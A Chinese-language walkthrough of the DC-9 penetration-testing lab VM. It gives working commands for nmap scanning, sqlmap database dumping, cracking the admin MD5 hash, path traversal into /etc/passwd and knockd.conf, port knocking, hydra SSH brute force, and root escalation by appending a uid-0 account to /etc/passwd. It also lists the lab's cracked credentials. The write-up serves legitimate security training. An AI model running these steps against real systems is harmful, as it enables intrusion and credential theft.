赞
踩
简介:DC靶场一共有9个,对于学习渗透测试人员,有很大的帮助,是非常不错的靶场。
1、下载靶场
靶机名称:DC-9(包含1个flag)
下载地址:
2、安装靶场
以DC-1为例,将文件解压(一压缩包形式进行下载)。
打开虚拟机,选择解压好的文件导入虚拟机( vof 版本高于4.0,点击重试即可导入)
导入成功,开启此虚拟机( 当页面出现 DC-9 login 时表示安装成功)。
3、获取靶机的flag
前提:
1、已知kali的IP地址(ifconfig) —— kali IP地址:192.168.108.129/24 | 2、DC-9和kali在同一网段 | 已知DC-9所在的网段 —— DC-9 IP地址:192.168.108.141/24 |
3.1信息收集
获取DC-9的IP地址
命令:netdiscover -r 192.168.108.0/24
由图可知DC-9的IP地址是:192.168.108.142/24
端口扫描
命令:nmap -T5 -sV -p- -A 192.168.108.142
//-sV:探测打开的端口以确定服务/版本信息,-p-:全端口扫描,-O:启用操作系统检测
//-sS/sT/sA/sW/sM:TCP SYN/Connect()/ACK/Window/Maimon 扫描
//-T[0-5]:设置时间模板(越高越快),-A:启用操作系统检测和版本检测
获取信息如下(操作系统:Linux 3.2-4.9):
端口号 | 服务 | 版本 |
22 | ssh | 7.4p1 |
80 | http | Apche 2.4.38 |
操作系统:Linux 3.2 - 4.9
3.2 渗透测试
查看80端口,目录扫描
80端口,是一个这样的页面,其中还有4个选项,依次点开以后并没有什么发现,但是它存在一个表单,在这里就很有可能存在着注入漏洞,所以我们先尝试着用sqlmap跑一下:
目录扫描
dirb http://dc-9
这里没什么发现,回到前面的web网页,可以从那四个页面入手
可以看到是一个搜索的页面和一个登录的页面,直接burp抓包使用sqlmap尝试有没有sql注入的漏洞
http://192.168.108.142/search.php
http://192.168.108.142/manage.php
sqlmap -r dc9-search.txt
sqlmap -r dc9-search.txt --current-db
sqlmap -r dc9-search.txt --tables -D "Staff"
sqlmap -r dc9-search.txt --columns -T "Users" -D "Staff"
sqlmap -r dc9-search.txt --dump -C "UserID,Username,Password" -T "Users" -D "Staff"
所以在这里我们直接获取到了一个用户数据(admin、856f5de590ef37314e7c3bdf6f8a66dc)
尝试md5解密(https://www.somd5.com/),得到admin的密码(transorbital1)
尝试直接ssh登录和web登录(admin、transorbital1)
登录之后发现可以添加用户,而且最底下一直有文件不存在的提示,尝试是否存在文件包含的漏洞
http://192.168.108.142/manage.php?file=../../../../etc/passwd (?file=../../../../etc/passwd)
结果发现可以读到passwd文件
这里发现了很多的账号,然后回去到数据库sql注入里面查看有没有线索
sqlmap -r dc9-search.txt --dbs
sqlmap -r dc9-search.txt --tables -D "users"
sqlmap -r dc9-search.txt --columns -T "UserDetails" -D "users"
sqlmap -r dc9-search.txt --dump -C "username,password" -T "UserDetails" -D "users"
将用户名和密码数据分别存储两个文件里(充当暴力破解的字典),后续八成是需要ssh爆破连接的
但是这里 ssh 的22端口状态是filtered 的,猜想是被服务器装了 knockd 工具隐藏了。查找 knockd(保证指定端口)的配置文件(/etc/knockd.conf)
补充
knockd 目的:使用 knockd 保护指定端口 作用:使用者连线前必须先依序 '敲击' 指定端口 (port knocking), knockd 才开放受到保护的埠口 用法:配置文件路径 /etc/knockd.conf |
http://192.168.108.142/manage.php?file=../../../../etc/knockd.conf
按照要求的顺序敲击端口
nc 192.168.108.142 7469
nc 192.168.108.142 8475
nc 192.168.108.142 9842
可以看到使用 openSSH 的敲门顺序之后可以正常进行ssh连接了
使用前面制作的字典对ssh进行爆破
hydra -L username -P password ssh://192.168.108.142
得到了三个账号密码:
账号: | 密码: |
1、chandlerb | UrAG0D! |
2、joeyt | Passw0rd |
3、janitor | Ilovepeepee |
分别登陆进行查看
将获取到的密码加入到之前的密码本(password)中并重新爆破
hydra -L /root/Desktop/username -P /root/Desktop/password ssh://192.168.108.142
这里又跑出来了一组账号密码(fredf、B4-Tru3-001)
ssh fredf@192.168.108.142(B4-Tru3-001)
sudo -l(查看有没有可以进行sudo提权的地方)
代码审计
判断是否有三个参数,没有的话输出Usage: python test.py read append,然后停止执行
第二个参数是读取第二个参数文件中的内容
第三个参数是把读取的内容写到第三个参数文件中(a是追加)
简单来说就是需要传递三个参数,传递的2个参数(第一个参数是 ./test)应该都是文件名,操作就是把第二个文件的内容以追加方式写进第三个文件里。那我们可用构造一个含有root权限数据的文件,通过 test.py 写入到 /etc/passwd 文件中,从而成功提权
原理: /etc/passwd 文件中含有的用户会去 /etc/shadow 文件中校验,如果 /etc/shadow 文件中没有则会无密码直接su切换用户
这里有个注意的地方,写入的时候必须是单引号,也就是echo '......',不能是echo ".....",双引号会导致最后失败
echo 'NB:$1$NB$Q77eUcGSxvhAhfrqYXDxg.:0:0:root:/bin/bash' > /tmp/NB
直接进行提权
原理:核心思路就是利用其在passwd文件中追加一条uid为0(root uit=0)的用户条目
使用:
首先我们造一个符合该格式的用户,一般/tmp目录可写,写到/tmp目录下
openssl passwd -1 -salt NB 123456
echo 'NB:$1$NB$Q77eUcGSxvhAhfrqYXDxg.:0:0:root:/bin/bash' > /tmp/NB
sudo 执行py脚本,将生成的账户条目写入 /etc/passwd 文件中
sudo ./test /tmp/NB /etc/passwd
tac /etc/passwd
解释:
su -NB
可以看到在执行完指令之后直接变为了root(超户),提权成功
补充:
引言:在Linux系统中我们要向手动生成一个密码可以采用opensll passwd来生成一个密码作为用户账号的密码。Linux系统中的密码存放在/etc/shadow文件中,并且是以加密的方式存放的,根据加密方式的不同,所产生的加密后的密码的位数也不同。
作用:openssl passwd的作用是用来计算密码hash的,目的是为了防止密码以明文的形式出现。
语法格式: openssl passwd [option] passwd
openssl passwd常用的选项如下:
-1:表示采用的是MD5加密算法。
-salt:指定salt值,不使用随机产生的salt。在使用加密算法进行加密时,即使密码一样,salt不一样,所计算出来的hash值也不一样,除非密码一样,salt值也一样,计算出来的hash值才一样。salt为8字节的字符串。
示例:[tom@localhost ~]$ openssl passwd -1 -salt '12345678' ##注意‘12345678’不是密码而是密码的长度
理解:
将 NB:$1$NB$Q77eUcGSxvhAhfrqYXDxg.::0:0:root:/bin/bash 写入 /etc/passwd 文件中,由于 /etc/passwd 文件中含有的用户会去 /etc/shadow 文件中校验,如果 /etc/shadow 文件中没有则会只判断/etc/passwd 文件中的密码然后进行su切换用户
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。